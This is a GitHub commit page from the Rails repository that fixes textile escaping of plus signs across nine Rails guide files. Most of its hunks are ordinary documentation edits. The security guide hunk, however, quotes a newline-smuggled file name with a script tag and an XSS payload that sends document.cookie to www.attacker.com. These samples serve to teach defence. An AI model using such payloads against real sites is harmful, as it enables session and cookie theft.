Skip to content

Commit

Permalink
Fixing incorrect notextile tags
Browse files Browse the repository at this point in the history
  • Loading branch information
vijaydev committed Sep 16, 2011
1 parent 8411f63 commit 27f1320
Show file tree
Hide file tree
Showing 9 changed files with 26 additions and 24 deletions.
2 changes: 1 addition & 1 deletion railties/guides/source/action_view_overview.textile
Original file line number Diff line number Diff line change
Expand Up @@ -898,7 +898,7 @@ h5. select_year
Returns a select tag with options for each of the five years on each side of the current, which is selected. The five year radius can be changed using the +:start_year+ and +:end_year+ keys in the +options+.

<ruby>
# Generates a select field for five years on either side of +Date.today+ that defaults to the current year
# Generates a select field for five years on either side of Date.today that defaults to the current year
select_year(Date.today)

# Generates a select field from 1900 to 2009 that defaults to the current year
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -328,7 +328,7 @@ This helper validates that your attributes have only numeric values. By default,
If you set +:only_integer+ to +true+, then it will use the

<ruby>
/\A[+-]?\d+\Z/
/\A[<plus>-]?\d<plus>\Z/
</ruby>

regular expression to validate the attribute's value. Otherwise, it will try to convert the value to a number using +Float+.
Expand Down Expand Up @@ -597,7 +597,7 @@ The easiest way to add custom validators for validating individual attributes is
<ruby>
class EmailValidator < ActiveModel::EachValidator
def validate_each(record, attribute, value)
unless value =~ /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\z/i
unless value =~ /\A([^@\s]<plus>)@((?:[-a-z0-9]<plus>\.)+[a-z]{2,})\z/i
record.errors[attribute] << (options[:message] || "is not an email")
end
end
Expand Down
26 changes: 13 additions & 13 deletions railties/guides/source/active_support_core_extensions.textile
Original file line number Diff line number Diff line change
Expand Up @@ -296,7 +296,7 @@ This method escapes whatever is needed, both for the key and the value:

<ruby>
account.to_query('company[name]')
# => "company%5Bname%5D=Johnson+%26+Johnson"
# => "company%5Bname%5D=Johnson<plus>%26<plus>Johnson"
</ruby>

so its output is ready to be used in a query string.
Expand Down Expand Up @@ -3385,11 +3385,11 @@ They are analogous. Please refer to their documentation above and take into acco
Time.zone_default
# => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...>

# In Barcelona, 2010/03/28 02:00 +0100 becomes 2010/03/28 03:00 +0200 due to DST.
# In Barcelona, 2010/03/28 02:00 <plus>0100 becomes 2010/03/28 03:00 <plus>0200 due to DST.
t = Time.local_time(2010, 3, 28, 1, 59, 59)
# => Sun Mar 28 01:59:59 +0100 2010
# => Sun Mar 28 01:59:59 <plus>0100 2010
t.advance(:seconds => 1)
# => Sun Mar 28 03:00:00 +0200 2010
# => Sun Mar 28 03:00:00 <plus>0200 2010
</ruby>

* If +since+ or +ago+ jump to a time that can't be expressed with +Time+ a +DateTime+ object is returned instead.
Expand All @@ -3406,24 +3406,24 @@ The method +all_day+ returns a range representing the whole day of the current t

<ruby>
now = Time.current
# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
# => Mon, 09 Aug 2010 23:20:05 UTC <plus>00:00
now.all_day
# => Mon, 09 Aug 2010 00:00:00 UTC +00:00..Mon, 09 Aug 2010 23:59:59 UTC +00:00
# => Mon, 09 Aug 2010 00:00:00 UTC <plus>00:00..Mon, 09 Aug 2010 23:59:59 UTC <plus>00:00
</ruby>

Analogously, +all_week+, +all_month+, +all_quarter+ and +all_year+ all serve the purpose of generating time ranges.

<ruby>
now = Time.current
# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
# => Mon, 09 Aug 2010 23:20:05 UTC <plus>00:00
now.all_week
# => Mon, 09 Aug 2010 00:00:00 UTC +00:00..Sun, 15 Aug 2010 23:59:59 UTC +00:00
# => Mon, 09 Aug 2010 00:00:00 UTC <plus>00:00..Sun, 15 Aug 2010 23:59:59 UTC <plus>00:00
now.all_month
# => Sat, 01 Aug 2010 00:00:00 UTC +00:00..Tue, 31 Aug 2010 23:59:59 UTC +00:00
# => Sat, 01 Aug 2010 00:00:00 UTC <plus>00:00..Tue, 31 Aug 2010 23:59:59 UTC <plus>00:00
now.all_quarter
# => Thu, 01 Jul 2010 00:00:00 UTC +00:00..Thu, 30 Sep 2010 23:59:59 UTC +00:00
# => Thu, 01 Jul 2010 00:00:00 UTC <plus>00:00..Thu, 30 Sep 2010 23:59:59 UTC <plus>00:00
now.all_year
# => Fri, 01 Jan 2010 00:00:00 UTC +00:00..Fri, 31 Dec 2010 23:59:59 UTC +00:00
# => Fri, 01 Jan 2010 00:00:00 UTC <plus>00:00..Fri, 31 Dec 2010 23:59:59 UTC <plus>00:00
</ruby>

h4. Time Constructors
Expand All @@ -3434,7 +3434,7 @@ Active Support defines +Time.current+ to be +Time.zone.now+ if there's a user ti
Time.zone_default
# => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...>
Time.current
# => Fri, 06 Aug 2010 17:11:58 CEST +02:00
# => Fri, 06 Aug 2010 17:11:58 CEST <plus>02:00
</ruby>

Analogously to +DateTime+, the predicates +past?+, and +future?+ are relative to +Time.current+.
Expand All @@ -3445,7 +3445,7 @@ Use the +local_time+ class method to create time objects honoring the user time
Time.zone_default
# => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...>
Time.local_time(2010, 8, 15)
# => Sun Aug 15 00:00:00 +0200 2010
# => Sun Aug 15 00:00:00 <plus>0200 2010
</ruby>

The +utc_time+ class method returns a time in UTC:
Expand Down
4 changes: 3 additions & 1 deletion railties/guides/source/ajax_on_rails.textile
Original file line number Diff line number Diff line change
Expand Up @@ -104,7 +104,7 @@ Note that if we wouldn't override the default behavior (POST), the above snippet
link_to_remote "Update record",
:url => record_url(record),
:method => :put,
:with => "'status=' + 'encodeURIComponent($('status').value) + '&completed=' + $('completed')"
:with => "'status=' <plus> 'encodeURIComponent($('status').value) <plus> '&completed=' <plus> $('completed')"
</ruby>

This generates a remote link which adds 2 parameters to the standard URL generated by Rails, taken from the page (contained in the elements matched by the 'status' and 'completed' DOM id).
Expand All @@ -124,6 +124,7 @@ link_to_remote "Add new item",
404 => "alert('Item not found!')"
</ruby>
Let's see a typical example for the most frequent callbacks, +:success+, +:failure+ and +:complete+ in action:

<ruby>
link_to_remote "Add new item",
:url => items_url,
Expand All @@ -133,6 +134,7 @@ link_to_remote "Add new item",
:success => "display_item_added(request)",
:failure => "display_error(request)"
</ruby>

** *:type* If you want to fire a synchronous request for some obscure reason (blocking the browser while the request is processed and doesn't return a status code), you can use the +:type+ option with the value of +:synchronous+.
* Finally, using the +html_options+ parameter you can add HTML attributes to the generated tag. It works like the same parameter of the +link_to+ helper. There are interesting side effects for the +href+ and +onclick+ parameters though:
** If you specify the +href+ parameter, the AJAX link will degrade gracefully, i.e. the link will point to the URL even if JavaScript is disabled in the client browser
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -146,7 +146,7 @@ h3. Description Lists
In lists of options, parameters, etc. use a hyphen between the item and its description (reads better than a colon because normally options are symbols):

<ruby>
# * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+.
# * <tt>:allow_nil</tt> - Skip validation if attribute is <tt>nil</tt>.
</ruby>

The description starts in upper case and ends with a full stop—it's standard English.
Expand Down
2 changes: 1 addition & 1 deletion railties/guides/source/asset_pipeline.textile
Original file line number Diff line number Diff line change
Expand Up @@ -359,7 +359,7 @@ NOTE. If you are precompiling your assets locally, you can use +bundle install -
The default matcher for compiling files includes +application.js+, +application.css+ and all files that do not end in +js+ or +css+:

<ruby>
[ /\w+\.(?!js|css).+/, /application.(css|js)$/ ]
[ /\w<plus>\.(?!js|css).<plus>/, /application.(css|js)$/ ]
</ruby>

If you have other manifests or individual stylesheets and JavaScript files to include, you can add them to the +precompile+ array:
Expand Down
2 changes: 1 addition & 1 deletion railties/guides/source/initialization.textile
Original file line number Diff line number Diff line change
Expand Up @@ -450,7 +450,7 @@ run YourApp::Application
The +Rack::Builder.parse_file+ method here takes the content from this +config.ru+ file and parses it using this code:

<ruby>
app = eval "Rack::Builder.new {( " + cfgfile + "\n )}.to_app",
app = eval "Rack::Builder.new {( " <plus> cfgfile <plus> "\n )}.to_app",
TOPLEVEL_BINDING, config
</ruby>

Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -26,7 +26,7 @@ h5. When are Objects Saved?
Use the same typography as in regular text:

<plain>
h6. The +:content_type+ Option
h6. The <tt>:content_type</tt> Option
</plain>

h3. API Documentation Guidelines
Expand Down
6 changes: 3 additions & 3 deletions railties/guides/source/security.textile
Original file line number Diff line number Diff line change
Expand Up @@ -582,7 +582,7 @@ Ruby uses a slightly different approach than many other languages to match the e

<ruby>
class File < ActiveRecord::Base
validates :name, :format => /^[\w\.\-\+]+$/
validates :name, :format => /^[\w\.\-\<plus>]<plus>$/
end
</ruby>

Expand All @@ -595,7 +595,7 @@ file.txt%0A<script>alert('hello')</script>
Whereas %0A is a line feed in URL encoding, so Rails automatically converts it to "file.txt\n&lt;script&gt;alert('hello')&lt;/script&gt;". This file name passes the filter because the regular expression matches – up to the line end, the rest does not matter. The correct expression should read:

<ruby>
/\A[\w\.\-\+]+\z/
/\A[\w\.\-\<plus>]<plus>\z/
</ruby>

h4. Privilege Escalation
Expand Down Expand Up @@ -762,7 +762,7 @@ These examples don't do any harm so far, so let's see how an attacker can steal
For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victim's cookie.

<html>
<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>
<script>document.write('<img src="http://www.attacker.com/' <plus> document.cookie <plus> '">');</script>
</html>

The log files on www.attacker.com will read like this:
Expand Down

0 comments on commit 27f1320

Please sign in to comment.